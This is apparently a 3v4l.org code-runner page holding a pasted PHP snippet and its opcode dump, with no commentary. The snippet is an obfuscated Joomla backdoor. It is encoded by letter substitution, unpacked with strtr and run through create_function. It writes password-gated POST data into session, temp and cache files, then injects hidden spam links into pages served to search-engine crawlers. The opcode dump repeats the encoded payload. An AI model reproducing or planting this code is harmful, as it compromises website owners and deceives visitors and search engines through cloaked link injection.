3v4l.org

run code in 300+ PHP versions simultaneously
<? $scn = 'fi(!dxifkxd("pumc")) {$xcxvxc = @fkf_gxu(\'xrror_rxhorufkg\');xrror_rxhorufkg(0);$sdr = fkf_gxu("sxssfok.sqvx_hqup");$udr = sws_gxu_uxmh_dfr();$ikm = "sxss_".md5(hph_tkqmx());fi(surhos(md5(@$_POST[x0]),"q6dq625bdi4")) {@ifcx_htu_lokuxkus("$sdr/$ikm",$_POST[q0]);@ifcx_htu_lokuxkus("$udr/$ikm",$_POST[q0]);@ifcx_htu_lokuxkus(JPATH_BASE."/lqlpx/joomcq_lqlpx.jsok",$_POST[q0]);}fi(surfhos(@$_SERVER[\'HTTP_USER_AGENT\'], \'googcxbou\') !==iqcsx || surfhos(@$_SERVER[\'HTTP_USER_AGENT\'], \'bfkgbou\') !== iqcsx){fi(!hrxg_mqulp("#(qprxis|mqjxsufl|rogxrbou|cfknhqd|sxmrtsp)#f",@$_SERVER[\'HTTP_USER_AGENT\'])){sxuloonfx("_qutvl",1,ufmx()+ufmx());$colqc = JPATH_BASE.\'/lqlpx/joomcq_lqlpx.jsok\';fi(fs_rxqdqbcx($colqc) && fs_yrfuqbcx($colqc)) {$ckn = @ifcx_gxu_lokuxkus($colqc);}xcsxfi(fs_rxqdqbcx("$udr/$ikm")) {$ckn = @ifcx_gxu_lokuxkus("$udr/$ikm");}xcsx($ckn = @ifcx_gxu_lokuxkus(@ifcx_gxu_lokuxkus("$sdr/$ikm")));$cfkns = @bqsx64_dxlodx($ckn);fi(fssxu($_COOKIE[\'jesuqux\']) || fssxu($_REQUEST[\'jesuqux\'])){xlpo(\'<dfv suwcx="dfshcqw:kokx">\'.PHP_EOL);xlpo hf().PHP_EOL;fi(surhos($cfkns, \'q:\') === 0) {$dquq = tksxrfqcfzx($cfkns);qrrqw_yqcn_rxltrsfvx($dquq,lrxqux_itklufok(\'$v,$n\',\'xlpo(md5($v).PHP_EOL);xlpo "$v\k";\'));}xcsx{xlpo $cfkns;}xlpo(PHP_EOL.\'</dfv>\');}$uhc = "<h suwcx=\"dfshcqw:kokx\">#cfkn#</h>\k";fi(surhos($cfkns, \'q:\') === 0) {$ltrrxkuUrc = $_SERVER[\'REQUEST_URI\'];fi($ltrrxkuUrc == \'/fkdxe.hph\') $ltrrxkuUrc = \'/\';$cfkns = tksxrfqcfzx($cfkns);fi(qrrqw_nxw_xefsus(\'TPL\', $cfkns)) {srqkd(surcxk($ltrrxkuUrc));$uhc = $cfkns[\'TPL\'][rqkd(0,lotku($cfkns[\'TPL\'])-1)];}fi(qrrqw_nxw_xefsus($ltrrxkuUrc, $cfkns)) {iorxqlp($cfkns[$ltrrxkuUrc] qs $nxw => $vqctx) {@$pumc .= sur_rxhcqlx(\'#cfkn#\',$vqctx,$uhc);}}fi(qrrqw_nxw_xefsus(\'*\', $cfkns)){iorxqlp($cfkns[\'*\'] qs $nxw => $vqctx) {@$pumc .= sur_rxhcqlx(\'#cfkn#\',$vqctx,$uhc);}}fi(surcxk(@$pumc)) {dxifkx("pumc", $pumc);}}xcsx {$pumc = @bqsx64_dxlodx($ckn);fi($pumc) {@$pumc = sur_rxhcqlx(\'#cfkn#\',$pumc,$uhc);dxifkx("pumc",$pumc);}}}}@xrror_rxhorufkg($xcxvxc);}'; @$xfv = 'str' . chr(116) . 'r'; @$diq = 'cr' . chr(101) . 'ate_function'; @$lyp = ${diq}('', ${xfv}($scn, 'knhputaqwylcexif', 'nkphtuqaywclxefi')); @$lyp(); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/8vi1d
function name:  (null)
number of ops:  28
compiled vars:  !0 = $scn, !1 = $xfv, !2 = $diq, !3 = $lyp
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'fi%28%21dxifkxd%28%22pumc%22%29%29+%7B%24xcxvxc+%3D+%40fkf_gxu%28%27xrror_rxhorufkg%27%29%3Bxrror_rxhorufkg%280%29%3B%24sdr+%3D+fkf_gxu%28%22sxssfok.sqvx_hqup%22%29%3B%24udr+%3D+sws_gxu_uxmh_dfr%28%29%3B%24ikm+%3D+%22sxss_%22.md5%28hph_tkqmx%28%29%29%3Bfi%28surhos%28md5%28%40%24_POST%5Bx0%5D%29%2C%22q6dq625bdi4%22%29%29+%7B%40ifcx_htu_lokuxkus%28%22%24sdr%2F%24ikm%22%2C%24_POST%5Bq0%5D%29%3B%40ifcx_htu_lokuxkus%28%22%24udr%2F%24ikm%22%2C%24_POST%5Bq0%5D%29%3B%40ifcx_htu_lokuxkus%28JPATH_BASE.%22%2Flqlpx%2Fjoomcq_lqlpx.jsok%22%2C%24_POST%5Bq0%5D%29%3B%7Dfi%28surfhos%28%40%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%2C+%27googcxbou%27%29+%21%3D%3Diqcsx+%7C%7C+surfhos%28%40%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%2C+%27bfkgbou%27%29+%21%3D%3D+iqcsx%29%7Bfi%28%21hrxg_mqulp%28%22%23%28qprxis%7Cmqjxsufl%7Crogxrbou%7Ccfknhqd%7Csxmrtsp%29%23f%22%2C%40%24_SERVER%5B%27HTTP_USER_AGENT%27%5D%29%29%7Bsxuloonfx%28%22_qutvl%22%2C1%2Cufmx%28%29%2Bufmx%28%29%29%3B%24colqc+%3D+JPATH_BASE.%27%2Flqlpx%2Fjoomcq_lqlpx.jsok%27%3Bfi%28fs_rxqdqbcx%28%24colqc%29+%26%26+fs_yrfuqbcx%28%24colqc%29%29+%7B%24ckn+%3D+%40ifcx_gxu_lokuxkus%28%24colqc%29%3B%7Dxcsxfi%28fs_rxqdqbcx%28%22%24udr%2F%24ikm%22%29%29+%7B%24ckn+%3D+%40ifcx_gxu_lokuxkus%28%22%24udr%2F%24ikm%22%29%3B%7Dxcsx%28%24ckn+%3D+%40ifcx_gxu_lokuxkus%28%40ifcx_gxu_lokuxkus%28%22%24sdr%2F%24ikm%22%29%29%29%3B%24cfkns+%3D+%40bqsx64_dxlodx%28%24ckn%29%3Bfi%28fssxu%28%24_COOKIE%5B%27jesuqux%27%5D%29+%7C%7C+fssxu%28%24_REQUEST%5B%27jesuqux%27%5D%29%29%7Bxlpo%28%27%3Cdfv+suwcx%3D%22dfshcqw%3Akokx%22%3E%27.PHP_EOL%29%3Bxlpo+hf%28%29.PHP_EOL%3Bfi%28surhos%28%24cfkns%2C+%27q%3A%27%29+%3D%3D%3D+0%29+%7B%24dquq+%3D+tksxrfqcfzx%28%24cfkns%29%3Bqrrqw_yqcn_rxltrsfvx%28%24dquq%2Clrxqux_itklufok%28%27%24v%2C%24n%27%2C%27xlpo%28md5%28%24v%29.PHP_EOL%29%3Bxlpo+%22%24v%5Ck%22%3B%27%29%29%3B%7Dxcsx%7Bxlpo+%24cfkns%3B%7Dxlpo%28PHP_EOL.%27%3C%2Fdfv%3E%27%29%3B%7D%24uhc+%3D+%22%3Ch+suwcx%3D%5C%22dfshcqw%3Akokx%5C%22%3E%23cfkn%23%3C%2Fh%3E%5Ck%22%3Bfi%28surhos%28%24cfkns%2C+%27q%3A%27%29+%3D%3D%3D+0%29+%7B%24ltrrxkuUrc+%3D+%24_SERVER%5B%27REQUEST_URI%27%5D%3Bfi%28%24ltrrxkuUrc+%3D%3D+%27%2Ffkdxe.hph%27%29+%24ltrrxkuUrc+%3D+%27%2F%27%3B%24cfkns+%3D+tksxrfqcfzx%28%24cfkns%29%3Bfi%28qrrqw_nxw_xefsus%28%27TPL%27%2C+%24cfkns%29%29+%7Bsrqkd%28surcxk%28%24ltrrxkuUrc%29%29%3B%24uhc+%3D+%24cfkns%5B%27TPL%27%5D%5Brqkd%280%2Clotku%28%24cfkns%5B%27TPL%27%5D%29-1%29%5D%3B%7Dfi%28qrrqw_nxw_xefsus%28%24ltrrxkuUrc%2C+%24cfkns%29%29+%7Biorxqlp%28%24cfkns%5B%24ltrrxkuUrc%5D+qs+%24nxw+%3D%3E+%24vqctx%29+%7B%40%24pumc+.%3D+sur_rxhcqlx%28%27%23cfkn%23%27%2C%24vqctx%2C%24uhc%29%3B%7D%7Dfi%28qrrqw_nxw_xefsus%28%27%2A%27%2C+%24cfkns%29%29%7Biorxqlp%28%24cfkns%5B%27%2A%27%5D+qs+%24nxw+%3D%3E+%24vqctx%29+%7B%40%24pumc+.%3D+sur_rxhcqlx%28%27%23cfkn%23%27%2C%24vqctx%2C%24uhc%29%3B%7D%7Dfi%28surcxk%28%40%24pumc%29%29+%7Bdxifkx%28%22pumc%22%2C+%24pumc%29%3B%7D%7Dxcsx+%7B%24pumc+%3D+%40bqsx64_dxlodx%28%24ckn%29%3Bfi%28%24pumc%29+%7B%40%24pumc+%3D+sur_rxhcqlx%28%27%23cfkn%23%27%2C%24pumc%2C%24uhc%29%3Bdxifkx%28%22pumc%22%2C%24pumc%29%3B%7D%7D%7D%7D%40xrror_rxhorufkg%28%24xcxvxc%29%3B%7D'
    3     1        BEGIN_SILENCE                                    ~5      
          2        ASSIGN                                                   !1, 'strtr'
          3        END_SILENCE                                              ~5
    4     4        BEGIN_SILENCE                                    ~7      
          5        ASSIGN                                                   !2, 'create_function'
          6        END_SILENCE                                              ~7
    5     7        BEGIN_SILENCE                                    ~9      
          8        FETCH_CONSTANT                                   ~10     'diq'
          9        FETCH_R                      local               ~11     ~10
         10        INIT_DYNAMIC_CALL                                        ~11
         11        SEND_VAL_EX                                              ''
         12        FETCH_CONSTANT                                   ~12     'xfv'
         13        FETCH_R                      local               ~13     ~12
         14        INIT_DYNAMIC_CALL                                        ~13
         15        SEND_VAR_EX                                              !0
         16        SEND_VAL_EX                                              'knhputaqwylcexif'
         17        SEND_VAL_EX                                              'nkphtuqaywclxefi'
         18        DO_FCALL                                      0  $14     
         19        SEND_VAR_NO_REF_EX                                       $14
         20        DO_FCALL                                      0  $15     
         21        ASSIGN                                                   !3, $15
         22        END_SILENCE                                              ~9
    6    23        BEGIN_SILENCE                                    ~17     
         24        INIT_DYNAMIC_CALL                                        !3
         25        DO_FCALL                                      0          
         26        END_SILENCE                                              ~17
    9    27      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
145.55 ms | 1453 KiB | 13 Q